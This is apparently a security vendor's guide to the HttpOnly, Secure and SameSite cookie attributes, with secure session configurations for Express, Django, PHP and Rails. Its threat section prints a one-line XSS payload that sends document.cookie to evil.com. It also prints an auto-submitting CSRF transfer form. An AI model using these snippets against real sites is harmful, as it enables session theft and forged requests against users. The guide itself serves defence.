How to Secure Your Cookies: HttpOnly, Secure, and SameSite Explained
A practical guide to the Set-Cookie header, how session hijacking and CSRF attacks exploit insecure cookies, and working configurations for Express, Django, PHP, and Rails.
Cookies are how your website remembers who is logged in. They store session tokens, authentication state, and user preferences. When a cookie is stolen or manipulated, the attacker does not need your password. They already have your session.
The good news is that browsers provide three attributes that protect cookies from the most common attacks: HttpOnly, Secure, and SameSite. Each one blocks a specific attack vector, and together they make your cookies significantly harder to exploit.
This guide explains what each attribute does, which attacks they prevent, how to set them correctly, and includes working configurations for Express, Django, PHP, and Rails.
Three attacks that exploit insecure cookies#
Before looking at the security attributes, it helps to understand what they protect against. There are three primary ways attackers exploit cookies:
1. XSS cookie theft (blocked by HttpOnly)
An attacker injects malicious JavaScript into your page (through a stored XSS vulnerability, a compromised third party script, or user input that is not sanitized). The script runs document.cookie and sends all cookie values to the attacker's server. The attacker now has the victim's session token and can log in as them.
// Malicious script injected via XSS
new Image().src = 'https://evil.com/steal?c=' + document.cookie;2. CSRF attacks (blocked by SameSite)
The attacker hosts a malicious page that contains a hidden form pointing to your site. When a logged in user visits the attacker's page, the form auto submits. The browser automatically attaches the user's cookies to this cross site request, so your server thinks the user intentionally made the request. The attacker can transfer money, change passwords, or perform any action the user can.
<!-- On evil.com: auto-submitting form -->
<form action="https://bank.com/transfer" method="POST">
<input type="hidden" name="to" value="attacker" />
<input type="hidden" name="amount" value="10000" />
</form>
<script>document.forms[0].submit();</script>3. Session hijacking over HTTP (blocked by Secure)
If a cookie is transmitted over an unencrypted HTTP connection, anyone monitoring the network (on public Wi-Fi, through a compromised router, or via a man in the middle position) can read the cookie value in plain text. They copy the session token and use it in their own browser. Without the Secure flag, the browser sends the cookie over both HTTP and HTTPS.
HttpOnly: block JavaScript access#
The HttpOnly attribute tells the browser that this cookie should only be accessible through HTTP requests, not through JavaScript. When HttpOnly is set, calling document.cookie in JavaScript will not include this cookie. The browser still sends it with every HTTP request to your server, but client side scripts cannot read it, modify it, or exfiltrate it.
// Cookie set WITHOUT HttpOnly
Set-Cookie: sessionId=abc123
// JavaScript can read it:
console.log(document.cookie); // "sessionId=abc123"
// Cookie set WITH HttpOnly
Set-Cookie: sessionId=abc123; HttpOnly
// JavaScript cannot read it:
console.log(document.cookie); // "" (empty)This is your first line of defense against XSS based cookie theft. Even if an attacker manages to inject JavaScript into your page, they cannot access HttpOnly cookies. The attack goes from "steal the session and impersonate the user" to "the injected script runs but cannot access the session."
When not to use HttpOnly: If your JavaScript needs to read the cookie (for example, a CSRF token stored in a cookie that your frontend reads and sends as a header), that specific cookie should not be HttpOnly. But your session cookie should always be HttpOnly. Never store session tokens in cookies that JavaScript can access.
Secure: HTTPS only transmission#
The Secure attribute tells the browser to only include this cookie in requests sent over HTTPS. If the browser is about to make an HTTP request (unencrypted) to your domain, it will not attach cookies marked as Secure.
You might think this is unnecessary if your entire site runs on HTTPS. But there are edge cases where HTTP requests can still happen: a user types http:// in the address bar before the HSTS redirect kicks in, a mixed content resource loads over HTTP, or an attacker performs a protocol downgrade attack. Without Secure, the cookie travels in plain text in all of these scenarios.
Set-Cookie: sessionId=abc123; Secure
// Browser behavior:
// Request to https://example.com → cookie IS sent
// Request to http://example.com → cookie is NOT sentCombining Secure with HSTS gives you the strongest transport protection. HSTS ensures the browser never makes HTTP requests to your domain, and Secure ensures that even if an HTTP request somehow happens, the cookie is not included.
SameSite: control cross site requests#
The SameSite attribute controls whether the browser sends the cookie when a request originates from a different site. This is your primary defense against CSRF attacks. It has three possible values:
| Value | Cross site links | Cross site POST | Cross site iframes/images |
|---|---|---|---|
| Strict | Cookie not sent | Cookie not sent | Cookie not sent |
| Lax | Cookie sent | Cookie not sent | Cookie not sent |
| None | Cookie sent | Cookie sent | Cookie sent |
SameSite=Strict
The cookie is never sent on any cross site request. This is the most secure option, but it has a usability trade off. If a user clicks a link to your site from an email, a search result, or another website, they will not be logged in on the first page load. The browser does not attach the cookie because the request originated from a different site. A second click (or refresh) on your site sends the cookie normally.
SameSite=Lax (browser default)
The cookie is sent on top level navigation GET requests from other sites (like clicking a link), but is blocked on cross site POST requests, iframes, images, and AJAX calls. This is the best balance of security and usability for most applications. Users stay logged in when clicking links from other sites, but CSRF attacks (which rely on cross site POST requests) are blocked.
SameSite=None (requires Secure)
The cookie is sent on all requests, including cross site. This disables SameSite protection entirely. Only use this when your cookie genuinely needs to work across sites, like for third party authentication widgets, embedded payment forms, or cross domain single sign on. Browsers require the Secure flag when SameSite=None is set.
Other cookie attributes that matter#
Beyond the three security attributes, there are several other Set-Cookie attributes that affect your cookie's security posture:
Path
Limits the cookie to specific URL paths. Setting Path=/app means the cookie is only sent with requests to /app and its sub paths, not /blog or /admin. Use Path=/ if the cookie needs to be available site wide.
Domain
Controls which domains can receive the cookie. If you set Domain=.example.com, the cookie is shared across all subdomains (api.example.com, blog.example.com). If you omit Domain entirely, the cookie is only sent to the exact domain that set it. Omitting it is more secure because it prevents subdomains from accessing the cookie.
Max-Age and Expires
Max-Age sets the cookie's lifetime in seconds. Expires sets an absolute expiration date. If neither is set, the cookie is a session cookie that disappears when the browser closes. For session tokens, shorter lifetimes reduce the window of opportunity if a cookie is stolen. A common value is Max-Age=86400 (24 hours).
__Host- and __Secure- prefixes
Cookie name prefixes provide extra guarantees. A cookie named __Host-sessionId must have Secure, must not have a Domain attribute, and must have Path=/. The browser enforces these requirements, so even if your server misconfigures the cookie, the browser rejects it. __Secure- requires only the Secure flag.
Server configurations#
Here is how to set secure cookies in the most popular web frameworks:
Express.js (Node.js)
// Using express-session
app.use(session({
name: '__Host-sessionId',
secret: process.env.SESSION_SECRET,
resave: false,
saveUninitialized: false,
cookie: {
httpOnly: true,
secure: true,
sameSite: 'lax',
maxAge: 24 * 60 * 60 * 1000, // 24 hours
path: '/'
}
}));
// Or setting a cookie manually
res.cookie('__Host-sessionId', token, {
httpOnly: true,
secure: true,
sameSite: 'lax',
maxAge: 24 * 60 * 60 * 1000,
path: '/'
});Django (Python)
# settings.py
SESSION_COOKIE_HTTPONLY = True
SESSION_COOKIE_SECURE = True
SESSION_COOKIE_SAMESITE = 'Lax'
SESSION_COOKIE_AGE = 86400 # 24 hours
SESSION_COOKIE_NAME = '__Host-sessionid'
SESSION_COOKIE_PATH = '/'
# CSRF cookie (needs to be readable by JavaScript)
CSRF_COOKIE_HTTPONLY = False # JS needs to read this
CSRF_COOKIE_SECURE = True
CSRF_COOKIE_SAMESITE = 'Lax'PHP
// php.ini or at runtime
ini_set('session.cookie_httponly', 1);
ini_set('session.cookie_secure', 1);
ini_set('session.cookie_samesite', 'Lax');
ini_set('session.cookie_lifetime', 86400);
ini_set('session.cookie_path', '/');
ini_set('session.name', '__Host-PHPSESSID');
// Or using setcookie() in PHP 7.3+
setcookie('__Host-token', $value, [
'expires' => time() + 86400,
'path' => '/',
'secure' => true,
'httponly' => true,
'samesite' => 'Lax'
]);Ruby on Rails
# config/application.rb
config.session_store :cookie_store,
key: '__Host-_myapp_session',
secure: true,
httponly: true,
same_site: :lax,
expire_after: 24.hoursHow to check your cookies#
Before you deploy, verify that your cookies have the right attributes:
- Chrome DevTools. Open DevTools, go to the Application tab, click Cookies in the sidebar, and select your domain. You will see a table showing every cookie with its Name, Value, Domain, Path, Expires, Size, HttpOnly, Secure, and SameSite columns.
- Firefox DevTools. Open DevTools, go to the Storage tab, and expand Cookies. Firefox shows the same information with a clear visual indicator for each attribute.
- Command line. Run
curl -sI https://yourdomain.com | grep -i set-cookieto see the rawSet-Cookieheaders from your server. - Online scanner. Use SiteSecurityScore to scan your site. The report includes cookie analysis and flags insecure configurations alongside your security headers.
Common mistakes#
Storing JWTs in localStorage instead of cookies
JWTs stored in localStorage are always accessible to JavaScript, making them vulnerable to XSS. If you need to use JWTs for session management, store them in an HttpOnly cookie instead. Your server can read the JWT from the cookie header, and JavaScript cannot steal it.
Setting SameSite=None without understanding the implications
SameSite=None disables all cross site protections. Some developers set it to "fix" issues where cookies are not being sent in cross site contexts without understanding that it re opens the CSRF attack vector. If you need None, make sure you have other CSRF protections in place (like CSRF tokens).
Using overly broad Domain attributes
Setting Domain=.example.com makes the cookie available to every subdomain, including ones you might not control or that might have weaker security. If your session cookie only needs to work on www.example.com, omit the Domain attribute entirely.
Not regenerating session IDs after login
If the session ID stays the same before and after authentication, an attacker can set a known session ID (via session fixation) and wait for the user to log in. After login, the attacker already knows the session ID. Always generate a new session ID after successful authentication.
The bottom line#
Cookie security comes down to three attributes: HttpOnly to block JavaScript access, Secure to enforce HTTPS only transmission, and SameSite to control cross site behavior. Every session cookie on your site should have all three.
These are not complex changes. They are configuration flags on the Set-Cookie header that your framework probably already supports. The cost of adding them is a few lines of configuration. The cost of not adding them is a session hijacking vulnerability that can compromise every user on your site.
Frequently asked questions#
What does the HttpOnly flag do on a cookie?
It tells the browser that the cookie cannot be accessed through JavaScript. Calling document.cookie will not include HttpOnly cookies. The cookie is still sent with HTTP requests to your server, but client side scripts cannot read or steal it.
What is the difference between SameSite Strict, Lax, and None?
Strict blocks the cookie on all cross site requests. Lax allows it on top level navigations (clicking a link) but blocks cross site POST and embedded requests. None sends the cookie on all requests (requires Secure). Use Lax for most authentication cookies.
Why does the Secure flag matter if I already use HTTPS?
Without Secure, the cookie can still be sent over HTTP in edge cases: before HSTS kicks in, through mixed content, or during a protocol downgrade attack. The Secure flag ensures the browser never sends the cookie over an unencrypted connection.
How do I check if my cookies are secure?
Open DevTools, go to the Application tab (Chrome) or Storage tab (Firefox), and click Cookies. You will see every cookie with its attributes in a table. Check that session cookies have HttpOnly, Secure, and SameSite set. Or use SiteSecurityScore for an automated check.
Should I set cookies to SameSite Strict or Lax?
Lax is the right choice for most authentication cookies. It blocks CSRF attacks while still allowing users to stay logged in when clicking links to your site from emails or search results. Strict is more secure but can cause usability issues on the first navigation from an external site.
Continue reading
Are your cookies configured securely?
Scan your website to check cookie security attributes alongside all security headers.